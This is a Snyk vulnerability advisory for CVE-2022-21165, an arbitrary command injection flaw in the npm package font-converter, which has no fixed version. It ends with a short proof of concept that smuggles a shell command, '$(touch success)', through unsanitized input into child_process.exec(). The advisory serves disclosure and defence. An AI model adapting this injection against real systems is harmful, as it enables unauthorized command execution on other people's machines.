Headline
CVE-2022-21165: Snyk Vulnerability Database | Snyk
All versions of package font-converter are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.
**Arbitrary Command Injection Affecting font-converter package, versions *******
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snyk-id
SNYK-JS-FONTCONVERTER-2976194
published
28 Aug 2022
disclosed
7 Aug 2022
credit
OmniTaint
How to fix?
There is no fixed version for font-converter.
Overview
font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)
Affected versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.
PoC
var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
new PUT(x,x,x,x);
} catch (e) {
console.log(e);
}